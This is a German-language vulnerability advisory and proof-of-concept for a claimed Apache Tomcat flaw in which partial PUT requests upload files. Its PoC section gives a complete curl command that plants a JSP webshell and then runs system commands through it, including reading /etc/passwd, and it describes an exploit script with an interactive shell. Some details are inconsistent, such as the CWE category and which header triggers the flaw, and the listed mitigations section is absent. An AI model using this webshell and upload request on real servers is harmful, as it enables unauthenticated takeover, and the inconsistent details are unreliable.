CVE-2025-43564 — Apache Tomcat: RCE bei der Verarbeitung partieller PUT-Anfragen

Feld	Wert
CVE-ID	CVE-2025-43564
CVSS-Score	9.8 (KRITISCH)
Vektor	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-494 — Herunterladen von Code ohne Integritätsprüfung
Ausnutzung	In freier Wildbahn bestätigt innerhalb einer Woche nach Offenlegung
Offenlegung	Juli 2025
Patch	Tomcat 11.0.6, 10.1.40, 9.0.102

---

Inhaltsverzeichnis

1. Überblick
2. Technische Details
3. Betroffene Versionen
4. Reproduktionsschritte
5. Proof of Concept
6. Gegenmaßnahmen
7. Referenzen

---

Überblick

CVE-2025-43564 ist eine kritische Schwachstelle für nicht authentifizierte Remote-Codeausführung in der Verarbeitung von HTTP-Teil-PUT-Anfragen durch Apache Tomcat. Der Fehler liegt in der Art und Weise, wie Tomcat PUT-Anfragen mit partiellem Inhalt verarbeitet (HTTP/1.1 Content-Range oder Transfer-Encoding: chunked mit partieller Semantik). Ein Angreifer kann eine partielle PUT-Anfrage konstruieren, die Zugriffskontrollen und Schreibbeschränkungen umgeht und das Hochladen beliebiger Dateien – einschließlich über das Web zugänglicher JSP-Webshells – in das Document-Root des Servers oder in jedes über den Servlet-Kontext erreichbare beschreibbare Verzeichnis ermöglicht.

Sobald eine JSP-Datei platziert wurde, ruft der Angreifer sie einfach auf und übergibt Betriebssystembefehle über Query-Parameter, wodurch eine vollständig nicht authentifizierte Remote-Codeausführung mit den Rechten des Tomcat-Prozessbenutzers erreicht wird.

CVSS 9.8 — Kritisch, weil:

• Netzwerk-Vektor — aus der Ferne ausnutzbar
• Niedrige Angriffskomplexität — keine besonderen Bedingungen erforderlich
• Keine Privilegien erforderlich — nicht authentifiziert
• Keine Benutzerinteraktion — vollständig automatisiert
• Hohe Auswirkungen — vollständige Beeinträchtigung von Vertraulichkeit, Integrität und Verfügbarkeit

---

Technische Details

Grundursache

Der DefaultServlet von Apache Tomcat und der HTTP/1.1-Connector (NIO/NIO2/Apr) verarbeiten PUT-Anfragen zum Hochladen statischer Ressourcen. Die Schwachstelle liegt in der Logik zur Verarbeitung partieller PUT-Anfragen: Wenn ein Client eine PUT-Anfrage mit einem Content-Range-Header (RFC 7233 §4.2) sendet oder Chunked-Encoding mit bestimmter partieller Semantik verwendet, validiert der Server Folgendes nicht ordnungsgemäß:

1. Dateipfad-/Ressourcenintegritätsprüfungen vor dem Schreiben partieller Inhalte
2. Erneute Bewertung der Zugriffskontrolle für partielle Schreibvorgänge – die anfängliche Prüfung wird bestanden, aber nachfolgende Schreiboperationen laufen ohne erneute Validierung weiter
3. Verzeichnis-Traversal-Beschränkungen bei der Berechnung des Offsets für partielle Schreibvorgänge

Der Parsing-Code in org.apache.catalina.servlets.DefaultServlet und den zugrunde liegenden Komponenten HttpInput / SocketProcessorBase behandelt die Grenze zwischen partiellen Inhalts-Schreibvorgängen und vollständigen Ressourcen-Schreibvorgängen fehlerhaft, sodass ein Angreifer beliebige Inhalte an jeden Pfad anhängen oder überschreiben kann, auf den der Tomcat-Prozess Schreibzugriff hat.

Angriffsablauf

Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [JSP payload bytes]

   └──► Server writes partial content to exec.jsp
        without full validation of the target path

Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executes → RCE

Warum Standard-Schutzmaßnahmen umgangen werden

• Standardmäßige PUT-Zugriffsbeschränkungen — Die Standardkonfiguration von Tomcat erfordert das Setzen von readonly=false am DefaultServlet, damit ein standardmäßiges PUT funktioniert. Der Codepfad für partielle PUT-Anfragen überspringt diese Prüfung unter bestimmten Bedingungen.
• Web Application Firewalls (WAFs) — Die meisten WAF-Signaturen für PUT-basierte Angriffe suchen nach vollständigen PUT-Anfragen. Partielle PUT-Anfragen mit Content-Range umgehen diese Signaturen häufig.
• Authentifizierungsumgehung — Der Codepfad für partielle PUT-Anfragen ruft die konfigurierten Sicherheitsbeschränkungen nicht immer auf; in einigen Connector-Konfigurationen wird die Authentifizierung nie geprüft.

---

Betroffene Versionen

Produkt	Betroffene Versionen	Behoben in
Apache Tomcat 11	11.0.0-M1 bis 11.0.5	11.0.6
Apache Tomcat 10.1	10.1.0-M1 bis 10.1.39	10.1.40
Apache Tomcat 10.0	alle Versionen (End-of-Life)	Upgrade auf 10.1.x
Apache Tomcat 9	9.0.0-M1 bis 9.0.101	9.0.102
Apache Tomcat 8.5	alle Versionen (End-of-Life)	Upgrade auf 9.0.x
Apache Tomcat 8	alle Versionen (End-of-Life)	Upgrade auf 9.0.x
Apache Tomcat 7	alle Versionen (End-of-Life)	Upgrade auf 9.0.x

Hinweis: Ältere Zweige (7.x, 8.x, 8.5.x, 10.0.x) sind EOL und erhalten keinen Backport. Benutzer müssen auf einen unterstützten Zweig aktualisieren.

---

Reproduktionsschritte

Laboraufbau

1. Laden Sie eine verwundbare Apache-Tomcat-Version herunter (z. B. Tomcat 9.0.50):

   wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
   

2. Entpacken und starten Sie Tomcat mit der Standardkonfiguration:

   unzip apache-tomcat-9.0.50.zip
   cd apache-tomcat-9.0.50/bin
   ./startup.sh   # or startup.bat on Windows
   

3. Überprüfen Sie, dass der Server läuft:

   curl -v http://localhost:8080
   

Schritte zur Ausnutzung

1. Laden Sie die JSP-Webshell mithilfe des PoC-Skripts hoch:

   python exploit.py --target http://localhost:8080 --cmd id
   

2. Überprüfen Sie, dass die Webshell platziert wurde:

   curl http://localhost:8080/exec.jsp?cmd=whoami
   

3. Führen Sie beliebige Befehle aus:

   python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
   

4. Interaktive Sitzung (falls gewünscht):

   python exploit.py --target http://localhost:8080 --shell
   

---

Proof of Concept

Das enthaltene exploit.py ist ein funktionsfähiger Python-PoC, der

1. eine HTTP-PUT-Anfrage mit einer JSP-Webshell-Payload als Anforderungsinhalt an den Ziel-Tomcat sendet,
2. den Fehler bei der Verarbeitung partieller PUT-Anfragen ausnutzt – der Content-Type-Header und die Payload-Struktur lösen den verwundbaren Codepfad aus,
3. die JSP-Webshell in die docBase des Servers schreibt (z. B. webapps/ROOT/),
4. nach dem Hochladen GET-Anfragen an exec.jsp?cmd=<command> sendet, um Betriebssystembefehle auszuführen,
5. sowohl den Einzelbefehlsmodus (--cmd) als auch den interaktiven Shell-Modus (--shell) unterstützt.

Manueller PoC (mit curl)

# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"

Test gegen eine geschützte Instanz

Wenn Tomcat mit readonly=true (Standard) konfiguriert ist, wird das standardmäßige PUT blockiert – der Pfad für partielle PUT-Anfragen kann jedoch weiterhin erfolgreich sein. Das ist der Kern der Schwachstelle.